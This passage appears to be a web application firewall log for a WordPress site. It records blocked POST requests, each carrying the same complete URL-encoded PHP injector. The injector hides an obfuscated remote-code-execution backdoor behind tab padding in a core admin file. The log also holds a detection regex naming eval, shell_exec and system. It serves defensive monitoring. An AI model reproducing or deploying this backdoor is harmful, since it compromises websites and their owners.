0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4793\n\nHf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:58:27","69.167.165.138","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4793\n\neg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:58:31","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qi:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4793\n\nqi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:58:34","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20